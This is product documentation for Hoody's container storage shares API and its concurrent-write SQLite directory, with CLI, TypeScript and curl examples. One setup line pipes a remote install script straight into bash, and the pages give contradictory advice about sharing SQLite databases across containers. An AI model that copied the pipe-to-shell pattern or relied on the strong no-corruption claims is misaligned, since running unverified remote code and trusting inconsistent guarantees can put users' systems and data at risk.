- **[POST /api/v1/containers/\{id\}/storage/shares](/api/storage-shares/)** - Create new share
- **[GET /api/v1/containers/\{id\}/storage/shares](/api/storage-shares/)** - List your created shares
- **[PATCH /api/v1/containers/\{id\}/storage/shares/\{shareId\}](/api/storage-shares/)** - Update share config
- **[DELETE /api/v1/storage/shares/\{shareId\}](/api/storage-shares/)** - Delete share

**Receiving & Mounting Shares:**
- **[GET /api/v1/containers/\{id\}/storage/incoming](/api/storage-shares/)** - List incoming shares
- **[PATCH /api/v1/containers/\{id\}/storage/incoming/\{shareId\}/mount](/api/storage-shares/)** - Accept/reject share
- **[GET /api/v1/storage/incoming](/api/storage-shares/)** - All incoming shares (all containers)

---

## Core Architecture

**Storage shares use a two-party system:**



**Share Creator Controls:**
- Which directory to share (source_path)
- Access mode (readonly or readwrite)
- Who can access (1-to-1 or project-wide)
- When it expires (optional)
- Enable/disable anytime



**Share Receiver Controls:**
- Whether to mount the share
- Can reject shares they don't need
- Can unmount anytime
- Independent of share status



**Key principle:** **Source controls WHAT. Target controls IF.**

---

## Share Types

### 1-to-1 Container Share

**Share specific directory with ONE container:**


  
    ```bash
    # Create 1-to-1 container share (readonly)
    hoody storage create --container $SOURCE_ID \
      --source-path "/hoody/storage/shared-assets" \
      --target-container-id $TARGET_ID \
      --mode readonly \
      --description "Static assets for frontend container"
    ```
  
  
    ```typescript
    const share = await client.api.storageShares.create(
      SOURCE_CONTAINER_ID,
      {
        source_path: '/hoody/storage/shared-assets',
        target_container_id: TARGET_CONTAINER_ID,
        mode: 'readonly',
        description: 'Static assets for frontend container'
      }
    );
    console.log(share.data.id); // Share ID for mounting
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$SOURCE_ID/storage/shares" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "source_path": "/hoody/storage/shared-assets",
        "target_container_id": "'$TARGET_ID'",
        "mode": "readonly",
        "description": "Static assets for frontend container"
      }'
    ```
  




**Use when:**
- Backend sharing data with frontend
- Database container sharing with API container
- Specific service-to-service integration

### Project-Wide Share

**Share directory with ALL containers in a project:**


  
    ```bash
    # Create project-wide share — all containers in project can access
    hoody storage create --container $SOURCE_ID \
      --source-path "/hoody/storage/config" \
      --target-project-id $PROJECT_ID \
      --mode readonly \
      --description "Shared configuration for all services"
    ```
  
  
    ```typescript
    const share = await client.api.storageShares.create(
      SOURCE_CONTAINER_ID,
      {
        source_path: '/hoody/storage/config',
        target_project_id: PROJECT_ID,
        mode: 'readonly',
        description: 'Shared configuration for all services'
      }
    );
    // Every container in the project automatically mounts this share
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$SOURCE_ID/storage/shares" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "source_path": "/hoody/storage/config",
        "target_project_id": "'$PROJECT_ID'",
        "mode": "readonly",
        "description": "Shared configuration for all services"
      }'
    ```
  




**Every container in project automatically mounts this share** (by default).


**Why automatic mounting is safe:** Containers are uniquely identified by their IDs, which are guaranteed unique across all users and servers. When a project-wide share is created, each container automatically gets a unique mount point at `/hoody/shares/{alias}/`. There's zero risk of conflicts or ambiguity.

**You don't need to accept** - just ignore the mount if you don't need it, or explicitly unmount:
```bash
PATCH /api/v1/containers/{id}/storage/incoming/{share_id}/mount
{"mount": false}
```

**Future feature:** Blacklist specific shares by default (opt-in instead of opt-out). For now, shares auto-mount and you can ignore/unmount as needed.


**Use when:**
- Shared configuration across all services
- Common assets or libraries
- Team-wide resources

---

## Access Modes


  
    ```json
    {
      "mode": "readonly"
    }
    ```
    
    **Target containers can:**
    - ✅ Read files
    - ✅ List directories
    - ✅ Check metadata
    - ❌ **Cannot** create files
    - ❌ **Cannot** modify files
    - ❌ **Cannot** delete files
    
    **Perfect for:**
    - Static assets (images, CSS, JS)
    - Configuration files
    - Reference data
    - Logs (share read-only for monitoring)
  
  
  
    ```json
    {
      "mode": "readwrite"
    }
    ```
    
    **Target containers can:**
    - ✅ Read files
    - ✅ Create new files
    - ✅ Modify existing files
    - ✅ Delete files
    - ✅ Create/delete directories
    
    **Changes visible to:**
    - Source container (immediately)
    - All other containers with share mounted
    
    **Perfect for:**
    - Collaborative workspaces
    - Shared databases (use with `/hoody/databases/`)
    - Upload directories
    - Multi-writer data pipelines
  


---

## Complete Share Workflow

### Creating a Share


  
    ```bash
    # In source container
    mkdir -p /hoody/storage/team-assets
    
    # Add files
    cp logo.png /hoody/storage/team-assets/
    cp styles.css /hoody/storage/team-assets/
    ```
  
  
  
    

    Response includes `share_id`.
  
  
  
    

    

    Share now accessible in `/hoody/shares/{share_alias}/`.
  
  
  
    ```bash
    # In target container
    ls /hoody/shares/shared-assets/
    # logo.png  styles.css
    
    # Files from source container, accessible in target
    cat /hoody/shares/shared-assets/styles.css
    ```
  


---

## Mount Points

**When a target container mounts a share, files appear at:**

```bash
/hoody/shares/{share-alias}/
```

**Example:**

```bash
# Source creates share with alias "config"
POST /storage/shares
{
  "source_path": "/hoody/storage/app-config",
  "alias": "config"
}

# Target mounts share
PATCH /storage/incoming/{share_id}/mount
{"mount": true}

# Files now accessible at:
/hoody/shares/config/
├── app.yaml
├── database.json
└── secrets.env
```

**The alias becomes the mount point name.**

---

## Common Use Cases

### Multi-Service Application

**Backend shares upload directory with multiple frontends:**

```bash
# Backend Container (source)
POST /containers/{backend_id}/storage/shares
{
  "source_path": "/hoody/storage/user-uploads",
  "target_project_id": "{project_id}",
  "mode": "readwrite",
  "alias": "uploads"
}

# Frontend Container 1 (accepts)
PATCH /containers/{frontend_1}/storage/incoming/{share_id}/mount
{"mount": true}

# Frontend Container 2 (accepts)
PATCH /containers/{frontend_2}/storage/incoming/{share_id}/mount
{"mount": true}

# Now all three containers see same /hoody/shares/uploads/
# Upload from any frontend → visible to backend and other frontends
```

### Shared Configuration

**Config container shares settings with all services (readonly):**

```bash
# Config Container
POST /containers/{config_id}/storage/shares
{
  "source_path": "/hoody/storage/production-config",
  "target_project_id": "{project_id}",
  "mode": "readonly",
  "alias": "config"
}

# All service containers mount it
# Services read from /hoody/shares/config/
# Only config container can update (others readonly)
```

### Collaborative Development

**Developers share workspace between containers:**

```bash
# Developer A's container
POST /containers/{dev_a}/storage/shares
{
  "source_path": "/home/user/project",
  "target_container_id": "{dev_b_container}",
  "mode": "readwrite",
  "alias": "shared-project"
}

# Developer B mounts in their container
# Both edit files in real-time
# Changes sync instantly
```

### Log Aggregation

**Services share logs with monitoring container (readonly):**

```bash
# Service 1
POST /storage/shares
{
  "source_path": "/hoody/storage/service1/logs",
  "target_container_id": "{monitor_container}",
  "mode": "readonly"
}

# Service 2  
POST /storage/shares
{
  "source_path": "/hoody/storage/service2/logs",
  "target_container_id": "{monitor_container}",
  "mode": "readonly"
}

# Monitor container sees all logs
/hoody/shares/service1-logs/
/hoody/shares/service2-logs/
```

---

## Share Lifecycle

### Share Statuses

**Shares progress through these statuses:**

| Status | Description | Next Steps |
|--------|-------------|-----------|
| `active` | Successfully mounted in target | In use |
| `failed` | Mount failed (see status_message) | Check errors, fix, retry |

**Check status:**

```bash
GET /api/v1/containers/{id}/storage/shares/{share_id}

# Response includes: "status": "active"
```

### Enabling/Disabling Shares

**Source container can disable without deleting:**

```bash
# Disable share temporarily
PATCH /api/v1/containers/{source_id}/storage/shares/{share_id}
{
  "enabled": false,
  "description": "Temporarily disabled for maintenance"
}

# Files unmount from target containers
# Share configuration preserved

# Re-enable later
PATCH /api/v1/containers/{source_id}/storage/shares/{share_id}
{
  "enabled": true
}
```

**Use for:** Maintenance windows, testing, gradual rollouts.

### Expiring Shares

**Set automatic expiration:**

```bash
POST /api/v1/containers/{id}/storage/shares
{
  "source_path": "/hoody/storage/temp-files",
  "target_container_id": "{target}",
  "mode": "readonly",
  "expires_at": 1735689600  # Unix timestamp: 2025-01-01
}

# Share auto-unmounts and notifies before expiry
```

**Perfect for:** Temporary access, demo environments, time-limited shares.

---

## Managing Shares

### List All Your Created Shares


  
    ```bash
    # Shares you created from specific container
    hoody storage list --container $SOURCE_ID

    # All shares you created (across all containers)
    hoody storage list-all
    ```
  
  
    ```typescript
    // Shares from specific container
    const shares = await client.api.storageShares.list(SOURCE_CONTAINER_ID);
    console.log(shares.data); // Array of shares you created

    // All shares across all containers
    const allShares = await client.api.storageShares.listGlobal();
    ```
  
  
    ```bash
    # Shares you created from specific container
    curl "https://api.hoody.icu/api/v1/containers/$SOURCE_ID/storage/shares" \
      -H "Authorization: Bearer $TOKEN"

    # All shares you created (across all containers)
    curl "https://api.hoody.icu/api/v1/storage/shares" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


### List Incoming Shares


  
    ```bash
    # Incoming shares for specific container
    hoody storage get-incoming-shares $TARGET_ID

    # All incoming shares (all your containers)
    hoody storage list-all-incoming
    ```
  
  
    ```typescript
    // Incoming shares for specific container
    const incoming = await client.api.storageShares.listIncoming(TARGET_CONTAINER_ID);
    console.log(incoming.data); // Shares offered to this container

    // All incoming shares across all containers
    const allIncoming = await client.api.storageShares.listIncomingGlobal();
    ```
  
  
    ```bash
    # Incoming shares for specific container
    curl "https://api.hoody.icu/api/v1/containers/$TARGET_ID/storage/incoming" \
      -H "Authorization: Bearer $TOKEN"

    # All incoming shares (all your containers)
    curl "https://api.hoody.icu/api/v1/storage/incoming" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


### Update Share Configuration


  
    ```bash
    # Upgrade share from readonly to readwrite
    hoody storage update $SOURCE_ID $SHARE_ID \
      --mode readwrite --description "Now allows writes"
    ```
  
  
    ```typescript
    await client.api.storageShares.update(
      SOURCE_CONTAINER_ID,
      SHARE_ID,
      { mode: 'readwrite', description: 'Now allows writes' }
    );
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$SOURCE_ID/storage/shares/$SHARE_ID" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"mode": "readwrite", "description": "Now allows writes"}'
    ```
  


**Target containers must remount** to get updated mode.

### Delete Share


  
    ```bash
    # Delete share — unmounts from all target containers
    hoody storage delete $SHARE_ID
    ```
  
  
    ```typescript
    await client.api.storageShares.delete(SHARE_ID);
    // Unmounts from all target containers, configuration deleted permanently
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/storage/shares/$SHARE_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Cross-Server Sharing (Automatic)

**Storage shares automatically work across different physical servers with full POSIX compliance:**

```
┌──────────────────────────────┐
│   Server US-West-1           │
│   ┌──────────────────────┐   │
│   │  Source Container    │   │
│   │  /shared/data/       │   │
│   └──────────────────────┘   │
│            ↓ Hoody handles    │
└──────────────────────────────┘
              ↓ cross-server
┌──────────────────────────────┐
│   Server EU-Central-1        │
│   ┌──────────────────────┐   │
│   │  Target Container    │   │
│   │  /hoody/shares/data/ │   │
│   └──────────────────────┘   │
└──────────────────────────────┘
```

**What you get automatically:**
- ✅ **Cross-server mounting** - Works whether containers on same or different servers
- ✅ **Full POSIX compliance** - All filesystem operations work normally
- ✅ **File locks respected** - Concurrent access properly coordinated
- ✅ **Zero configuration** - No setup needed for cross-server shares
- ✅ **Transparent operation** - Same API whether same-server or cross-server


**SQLite Databases:** While file locks ARE respected, we **don't recommend** storing SQLite databases in shared storage for cross-container access. Use [`/hoody/databases/`](/foundation/storage/sqlite-drive/) instead.

**Why:** SQLite's file locking is designed for local filesystems. Network-shared SQLite can experience:
- Lock timeouts under high load
- Potential corruption on network interruptions
- Performance degradation compared to local access

**Better solution:** Store SQLite in `/hoody/databases/` (concurrent-write-safe FUSE mount) or use [hoody-sqlite](/kit/sqlite/) HTTP API for cross-container database access.


---

## Useful Questions

### What happens when source container is stopped?

**Share remains mounted but inaccessible.**

- Target containers see mount point: `/hoody/shares/{alias}/`
- Attempting to read files: **Stale file handle** error
- When source restarts: **Access restored automatically**

**Best practice:** Don't rely on shares from containers that stop frequently.

### Can I share the same directory to multiple containers?

Yes! Create multiple shares from same source_path:

```bash
# Share /hoody/storage/assets with 3 containers
POST /storage/shares {"source_path": "/hoody/storage/assets", "target_container_id": "A"}
POST /storage/shares {"source_path": "/hoody/storage/assets", "target_container_id": "B"}  
POST /storage/shares {"source_path": "/hoody/storage/assets", "target_container_id": "C"}

# Or share once to entire project (all containers see it)
POST /storage/shares {"source_path": "/hoody/storage/assets", "target_project_id": "{project}"}
```

### Can I share /hoody/databases/ directories?

**Not recommended for SQLite databases.** While you CAN share `/hoody/databases/` directories, it bypasses the concurrent-write safety:

```bash
# ❌ NOT Recommended: Sharing /hoody/databases via storage shares
POST /storage/shares
{
  "source_path": "/hoody/databases",
  "mode": "readwrite"
}

# Problem: Network-shared SQLite loses local-filesystem optimizations
# Better: Each container uses /hoody/databases/ locally (same-server concurrent writes)
# Better: Use hoody-sqlite HTTP API for cross-container database access
```

**Why not recommended:**
- `/hoody/databases/` concurrent-write safety is optimized for **local same-server** access
- Network sharing adds latency and lock timeout risks
- SQLite not designed for network filesystems

**Better solutions:**
- **Same server:** Each container accesses `/hoody/databases/` directly (concurrent-write-safe)
- **Cross-server:** Use [hoody-sqlite HTTP API](/kit/sqlite/) to access databases remotely
- **Data sharing:** Share application data directories, not database files

### What if target rejects the share?

Share remains available but unmounted. Target can accept later:

```bash
# Initially reject
PATCH /storage/incoming/{share_id}/mount
{"mount": false}

# Accept later when needed
PATCH /storage/incoming/{share_id}/mount
{"mount": true}

# Files appear in /hoody/shares/{alias}/
```

### Do shares persist through container restarts?

Yes. Share configuration and mount state survive:
- ✅ Source container restart - share remains
- ✅ Target container restart - mount point restored
- ✅ Both restart - everything reconnects

### Can I change the alias after creating a share?

Yes:

```bash
PATCH /api/v1/containers/{source_id}/storage/shares/{share_id}
{
  "alias": "new-alias"
}
```

**Target containers must unmount and remount** to use new alias. Old mount point `/hoody/shares/old-alias/` becomes invalid.

### Do storage shares count toward quota?

**Source container:** Files count toward source's storage.

**Target containers:** Mounted shares do NOT count toward target's storage quota (they're references, not copies).

---

## Troubleshooting

### Share Status Shows "failed"

**Problem:** Share status is `"failed"` with error message

**Common causes:**

1. **Source path doesn't exist:**
   ```bash
   # In source container, verify path exists
   ls -la /hoody/storage/shared-path
   
   # Create if missing
   mkdir -p /hoody/storage/shared-path
   
   # Update share to retry
   PATCH /storage/shares/{id}
   {"enabled": true}
   ```

2. **Permission issues:**
   ```bash
   # Fix permissions in source container
   chown -R root:root /hoody/storage/shared-path
   chmod -R 755 /hoody/storage/shared-path
   ```

3. **Source container stopped:**
   - Start source container
   - Share will automatically reactivate

### Cannot See Mounted Share Files

**Problem:** Share mounted but `/hoody/shares/{alias}/` is empty

**Solutions:**

1. **Verify share is active:**
   ```bash
   GET /api/v1/containers/{target_id}/storage/incoming
   # Check: "status": "active", "mount": true
   ```

2. **Check source container is running:**
   ```bash
   GET /api/v1/containers/{source_id}
   # Verify: "status": "running"
   ```

3. **Verify files exist in source:**
   ```bash
   # In source container
   ls /hoody/storage/shared-path
   # Should show files
   ```

4. **Unmount and remount:**
   ```bash
   PATCH /storage/incoming/{share_id}/mount
   {"mount": false}
   
   PATCH /storage/incoming/{share_id}/mount
   {"mount": true}
   ```

### "Stale file handle" Errors

**Problem:** Cannot access files in `/hoody/shares/{alias}/`

**Cause:** Source container restarted while target was accessing files

**Solution:**

```bash
# Unmount and remount
PATCH /storage/incoming/{share_id}/mount
{"mount": false}

PATCH /storage/incoming/{share_id}/mount
{"mount": true}

# Or restart target container (auto-remounts)
POST /api/v1/containers/{target_id}/restart
# (Consolidated lifecycle route: POST /api/v1/containers/{id}/{operation}
#  where {operation} is one of: start | stop | force-stop | restart | pause | resume)
```

### Share Appears in Incoming but Won't Mount

**Problem:** `PATCH /mount` succeeds but files don't appear

**Check:**

1. **Share is enabled:**
   ```bash
   GET /storage/incoming/{share_id}
   # Verify: "enabled": true
   ```

2. **Share not expired:**
   ```bash
   # Check expires_at (Unix timestamp)
   # If expired, ask source to extend or remove expiration
   ```

3. **Target container has permission:**
   - Verify target is in specified project (for project-wide shares)
   - Verify target_container_id matches (for 1-to-1 shares)

---

## Best Practices

### 1. Share /hoody/storage Subdirectories, Not Root

```bash
# ✅ Good: Specific subdirectory
{"source_path": "/hoody/storage/assets"}

# ❌ Risky: Entire Hoody Kit storage
{"source_path": "/hoody/storage"}

# Sharing entire /hoody/storage exposes all service data
```

### 2. Use Project-Wide for Common Resources

**One share for all containers:**

```bash
# Instead of creating 10 identical 1-to-1 shares
POST /storage/shares {"target_project_id": "{project}"}

# All containers in project can mount
# Simpler management, one configuration
```

### 3. Monitor Readwrite Shares

**Multiple writers can conflict:**

```bash
# Container A writes /hoody/shares/data/file.txt
# Container B writes /hoody/shares/data/file.txt (same file)

# Last write wins (potential data loss)
```

**Solution:** Use application-level locking or coordinate writes (e.g., different directories per container).

**Or use `/hoody/databases/` for SQLite databases** (automatic concurrent-write safety).

### 4. Snapshot Before Deleting Shares

**Share deletion unmounts from all targets:**

```bash
# Snapshot source container first
POST /api/v1/containers/{source_id}/snapshots
{"alias": "before-share-deletion"}

# Then delete share
DELETE /api/v1/storage/shares/{share_id}
```

### 5. Use Descriptive Descriptions

```bash
# ✅ Clear documentation
{
  "description": "Read-only access to team logo, CSS, and JS assets for frontend containers. Source: /hoody/storage/static-web-assets"
}

# ❌ Vague
{
  "description": "shared files"
}
```

**Future you will thank present you** when managing dozens of shares.

---

## What's Next

**Storage ecosystem:**
- **[Container Storage →](./)** - Understanding container filesystem
- **[Mount Locally →](./mount-locally/)** - SFTP/WebDAV for local file managers
- **[SQLite Driver →](./sqlite-drive/)** - Concurrent-write databases
- **[Cloud Storage →](./cloud/)** - Connect 63 cloud providers
- **[/ramdisk →](./ramdisk/)** - Ultra-fast RAM storage

**Related features:**
- **[Container Copy →](/foundation/containers/copy-sync/)** - Duplicate entire containers
- **[Snapshots →](/foundation/containers/snapshots/)** - Backup container state
- **[Hoody Files →](/api/files/)** - HTTP filesystem access

**Understanding gained:**
- ✅ Source container controls WHAT is shared
- ✅ Target container controls IF they mount it
- ✅ Two modes: readonly, readwrite
- ✅ Two types: 1-to-1, project-wide
- ✅ Works cross-server automatically (SSHFS-backed storage relay)
- ✅ Combine with `/hoody/databases/` for shared SQLite databases

---

> **Share directories between containers.**  
> **Readonly for safety. Readwrite for collaboration.**

**One share, multiple consumers. Data exchange without duplication.**

---

# SQLite Driver

**Page:** foundation/storage/sqlite-drive

[Download Raw Markdown](./foundation/storage/sqlite-drive.md)

---

# SQLite Driver

**Store SQLite databases in `/hoody/databases/` and they automatically become concurrent-write-safe.** Multiple containers can write simultaneously without database corruption—zero code changes required.

**Critical for AI agents:** AI-generated code commonly causes SQLite corruption through race conditions. With `/hoody/databases/`, you can vibe-code without worrying that your databases will be corrupted—the FUSE mount prevents the most common AI coding mistakes automatically.

---

## API Endpoints Summary

**Database Access:**
- **[Hoody SQLite API](/api/sqlite/kv-store/)** - HTTP-based KV store access
- **[SQL Operations](/api/sqlite/sql-operations/)** - Execute SQL transactions via HTTP

**Direct Access:**
- **[Hoody Terminal](/kit/terminals/)** - Use standard `sqlite3` command
- **[SSH Access](/foundation/networking/ssh/)** - Access via secure shell

---

## The Problems It Solves

### Problem 1: Concurrent Write Corruption (Especially AI-Generated Code)

**AI agents frequently generate code that corrupts SQLite databases:**

```python
# AI-generated code (common pattern)
import sqlite3

# Multiple AI tasks running simultaneously
def process_task(task_id):
    conn = sqlite3.connect('/app/data.db')  # Same database
    cursor = conn.cursor()
    cursor.execute("INSERT INTO tasks VALUES (?, 'completed')", (task_id,))
    conn.commit()
    conn.close()

# Task 1, 2, 3... all running in parallel
# Result: ❌ "database is locked" or 💥 corruption
```

**With `/hoody/databases/`, this just works** - no race conditions, no corruption.

### Problem 2: Multi-Container Access

**Traditional SQLite issue:**

```bash
# Container A writes to database
sqlite3 /app/data.db "INSERT INTO users..."

# Container B writes simultaneously
sqlite3 /app/data.db "INSERT INTO posts..."

# Result: ❌ "database is locked" error
# or worse: 💥 database corruption
```

**SQLite uses file-level locking.** When multiple processes (or containers) try to write, one gets locked out or corruption occurs.

---

## The Hoody Solution

**Store database in `/hoody/databases/` instead:**

```bash
# Container A
sqlite3 /hoody/databases/shared.db "INSERT INTO users..."

# Container B (simultaneously)
sqlite3 /hoody/databases/shared.db "INSERT INTO posts..."

# Result: ✅ Both succeed
# No locking errors
# No corruption
# Zero code changes
```

**How it works:**

`/hoody/databases/` is a **special FUSE mount** on the **Host level** that implements proper concurrent write handling for SQLite databases.

---

## How It Works

### Automatic Availability

**Every container automatically has `/hoody/databases/` available:**

```bash
# No setup required - just use it
ls /hoody/databases/
# Directory exists and is ready to use
```

**This is automatic:**
- ✅ No configuration needed
- ✅ No mounting commands required
- ✅ Present in all containers
- ✅ Works immediately

### Host-Level FUSE Mount

```
┌─────────────────────────────────────────┐
│         Physical Host Server            │
│                                         │
│  ┌─────────────────────────────────┐   │
│  │  Special FUSE Driver Layer      │   │
│  │  (concurrent write coordination)│   │
│  └─────────────────────────────────┘   │
│             ↓                           │
│  ┌─────────────────────────────────┐   │
│  │  Actual Database Storage        │   │
│  └─────────────────────────────────┘   │
│                                         │
│  Container A    Container B    Container C
│       ↓              ↓              ↓
│  /hoody/databases/  /hoody/databases/  ...
└─────────────────────────────────────────┘
```

**The FUSE layer intercepts all writes** and coordinates them safely—preventing simultaneous write conflicts at the filesystem level.

---

## Usage Patterns

### Drop-In Replacement

**No code changes required in your applications:**


  
    ```python
    # Risk of corruption with multiple containers
    import sqlite3
    conn = sqlite3.connect('/app/database.db')
    cursor = conn.cursor()
    cursor.execute("INSERT INTO users VALUES (?, ?)", (1, 'Alice'))
    conn.commit()
    ```
  
  
  
    ```python
    # Concurrent-write-safe - ONLY path changed
    import sqlite3
    conn = sqlite3.connect('/hoody/databases/database.db')
    cursor = conn.cursor()
    cursor.execute("INSERT INTO users VALUES (?, ?)", (1, 'Alice'))
    conn.commit()
    ```
    
    **Only the path changed.** Everything else identical.
  


**This works with ANY program using `sqlite3`:**
- Python (sqlite3 module)
- Node.js (better-sqlite3, sqlite3)
- Go (mattn/go-sqlite3)
- PHP (PDO SQLite)
- Any language with SQLite bindings

### Pair with hoody-sqlite HTTP API

**Access the same database via HTTP AND native sqlite3:**

```bash
# Container A: Native sqlite3 (fast, direct access)
sqlite3 /hoody/databases/app.db "SELECT * FROM users"

# Container B: hoody-sqlite HTTP API (remote access)
curl "https://...-sqlite-1.../api/v1/sqlite/db?db=/hoody/databases/app.db" \
  -d '{"transaction": [{"statement": "SELECT * FROM users"}]}'

# Same database, two access methods
```

**Why this is powerful:**
- **Native access** for performance-critical operations
- **HTTP access** for remote monitoring, web dashboards, API integrations
- Both methods work simultaneously without conflicts

See: [Hoody SQLite](/kit/sqlite/) for complete HTTP API documentation.

---

## What It Does (and Doesn't Do)

### ✅ What It Provides

**Concurrent Write Safety:**
- Multiple containers can write to the same database
- Multiple processes in ONE container can write
- No "database is locked" errors
- No corruption from simultaneous writes

**Zero Configuration:**
- Automatically available in all containers
- No special setup or mounting
- Works with standard sqlite3 library
- No code changes required (just path)

**Cross-Container Databases:**
- Share single database across many containers
- All containers see same data instantly
- Perfect for multi-service architectures
- Eliminates need for separate database server

### ❌ What It Doesn't Provide

**NOT a replication system:**
- ✅ Allows concurrent writes safely
- ❌ Does NOT replicate data to multiple hosts
- ❌ Does NOT provide automatic backups
- ❌ Does NOT provide failover

**Single host only:**
- Containers on SAME server can share databases
- Containers on DIFFERENT servers cannot (yet)
- Each server has its own `/hoody/databases/` space

**No automatic backups:**
- You must snapshot or backup databases yourself
- FUSE layer provides safety, not redundancy

---

## Common Use Cases

### Multi-Service Application

**Share application database across frontend, backend, and workers:**

```bash
# Container 1 (API Server)
# /hoody/databases/app.db
# Handles user registration, authentication

# Container 2 (Background Worker)
# /hoody/databases/app.db (same database)
# Processes jobs, updates status

# Container 3 (Reporting Dashboard)
# /hoody/databases/app.db (same database)
# Read-only queries for reporting

# All three write safely to the same database
```

**Traditional approach:** Run PostgreSQL/MySQL server, connect via network (complexity, overhead).

**Hoody approach:** Single SQLite file in `/hoody/databases/`, accessed by all containers (simple, fast).

### Development Database

**Developers share database during active development:**

```bash
# Developer A's container writes schema changes
sqlite3 /hoody/databases/dev.db < migrations/001.sql

# Developer B's container writes seed data (simultaneously)
sqlite3 /hoody/databases/dev.db < seeds/users.sql

# No conflicts - both succeed
```

### Analytics Pipeline

**Concurrent data ingestion + real-time queries:**

```bash
# Container A: Ingest metrics
while true; do
  sqlite3 /hoody/databases/metrics.db \
    "INSERT INTO events VALUES (datetime('now'), '$data')"
done

# Container B: Query metrics (simultaneously)
sqlite3 /hoody/databases/metrics.db \
  "SELECT COUNT(*) FROM events WHERE timestamp > datetime('now', '-1 hour')"

# No blocking - queries run while inserts happen
```

---

## Integration with hoody-sqlite

**Access via HTTP for maximum flexibility:**

> **`hoody` CLI prerequisite.** The CLI tabs below invoke `hoody db …`. If you haven't already, install the CLI (`npm i -g @hoody-ai/hoody-sdk` or `curl -fsSL https://install.hoody.com | bash`) and authenticate (`hoody auth login`) so the CLI picks up your Hoody token and default base URL.

### Execute SQL Transactions


  
    ```bash
    # Execute SQL transaction via CLI
    hoody db exec-transaction --db /hoody/databases/app.db \
      --transaction '[{"statement": "SELECT * FROM logs ORDER BY timestamp DESC LIMIT 100"}]'

    # Create a new database
    hoody db create --path /hoody/databases/analytics.db
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER
    });

    // Execute SQL transaction. The transaction array is the request body;
    // `db` is a query param and goes in the 2nd options argument.
    // Use a "query" item for SELECTs (a "statement" item returns rowsUpdated only).
    const result = await containerClient.sqlite.database.executeTransaction(
      { transaction: [
        { query: 'SELECT * FROM logs ORDER BY timestamp DESC LIMIT 100' }
      ] },
      { db: '/hoody/databases/app.db' }
    );
    console.log(result.data); // Query results
    ```
  
  
    ```bash
    # Execute SQL transaction. $PROXY_TOKEN is the proxy-minted token for this
    # container-proxy path (the SDK/CLI set it automatically; raw curl must pass
    # it explicitly — Hoody Proxy owns Kit auth). See /foundation/proxy/permissions/.
    curl -X POST "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=/hoody/databases/app.db" \
      -H "Authorization: Bearer $PROXY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"transaction": [{"statement": "SELECT * FROM logs ORDER BY timestamp DESC LIMIT 100"}]}'
    ```
  


### KV Store Operations


  
    ```bash
    # Set a key-value pair
    hoody kv set user:1 --db /hoody/databases/app.db \
      --body '{"name": "Alice", "email": "alice@example.com"}'

    # Get a value by key
    hoody kv get user:1 --db /hoody/databases/app.db
    ```
  
  
    ```typescript
    // Set value. The value is a JSON-encoded STRING (encode objects yourself);
    // `db` is a query param and goes in the options argument.
    await containerClient.sqlite.kvStore.set(
      'user:1',
      JSON.stringify({ name: 'Alice', email: 'alice@example.com' }),
      { db: '/hoody/databases/app.db' }
    );

    // Get value
    const value = await containerClient.sqlite.kvStore.get('user:1', {
      db: '/hoody/databases/app.db'
    });
    console.log(value.data); // { name: 'Alice', email: 'alice@example.com' }
    ```
  
  
    ```bash
    # Set value
    curl -X PUT "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/user:1?db=/hoody/databases/app.db" \
      -H "Content-Type: application/json" \
      -d '{"name": "Alice", "email": "alice@example.com"}'

    # Get value
    curl "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/user:1?db=/hoody/databases/app.db"
    ```
  


### Native + HTTP Combined


  
    ```javascript
    // Backend container: Native sqlite3 for bulk inserts (faster)
    const db = require('better-sqlite3')('/hoody/databases/app.db');
    db.prepare('INSERT INTO logs VALUES (?, ?)').run(timestamp, message);

    // Frontend container: HTTP API for remote queries
    const response = await fetch(
      'https://...-sqlite-1.../api/v1/sqlite/db?db=/hoody/databases/app.db',
      {
        method: 'POST',
        body: JSON.stringify({
          transaction: [{
            statement: 'SELECT * FROM logs ORDER BY timestamp DESC LIMIT 100'
          }]
        })
      }
    );
    ```

    **Best of both:** Fast native writes, convenient HTTP reads.
  

  
    ```bash
    # Hoody SQLite KV Store API (even simpler)
    # Set value
    curl -X PUT "https://...-sqlite-1.../api/v1/sqlite/kv/user:1?db=/hoody/databases/app.db" \
      -d '{"name": "Alice", "email": "alice@example.com"}'

    # Get value
    curl "https://...-sqlite-1.../api/v1/sqlite/kv/user:1?db=/hoody/databases/app.db"

    # Concurrent writes automatically safe
    ```

    **Pure HTTP:** Never touch sqlite3 CLI—everything via API.
  


See: [Hoody SQLite KV Store](/api/sqlite/kv-store/) and [SQL Operations](/api/sqlite/sql-operations/)

---

## Best Practices

### 1. Always Use /hoody/databases/ for SQLite

**Never store SQLite databases outside this directory if multiple containers will access them:**

```bash
# ✅ Correct - concurrent write safe
/hoody/databases/production.db
/hoody/databases/cache.db
/hoody/databases/analytics.db

# ❌ Wrong - risk of corruption
/hoody/storage/production.db
/var/lib/myapp/data.db
/tmp/cache.db
```

### 2. Use Standard SQLite Libraries

**No special drivers needed:**

```python
# Works with standard library
import sqlite3
conn = sqlite3.connect('/hoody/databases/app.db')
```

The concurrent-write safety is handled by the FUSE mount—your code stays standard.

### 3. Backup Databases Regularly

**Concurrent-write safety ≠ automatic backups:**

```bash
# Via snapshot (captures entire container state)
POST /api/v1/containers/{id}/snapshots
{"alias": "before-migration"}

# Or copy database file
cp /hoody/databases/production.db /hoody/storage/backups/prod-2025-11-10.db

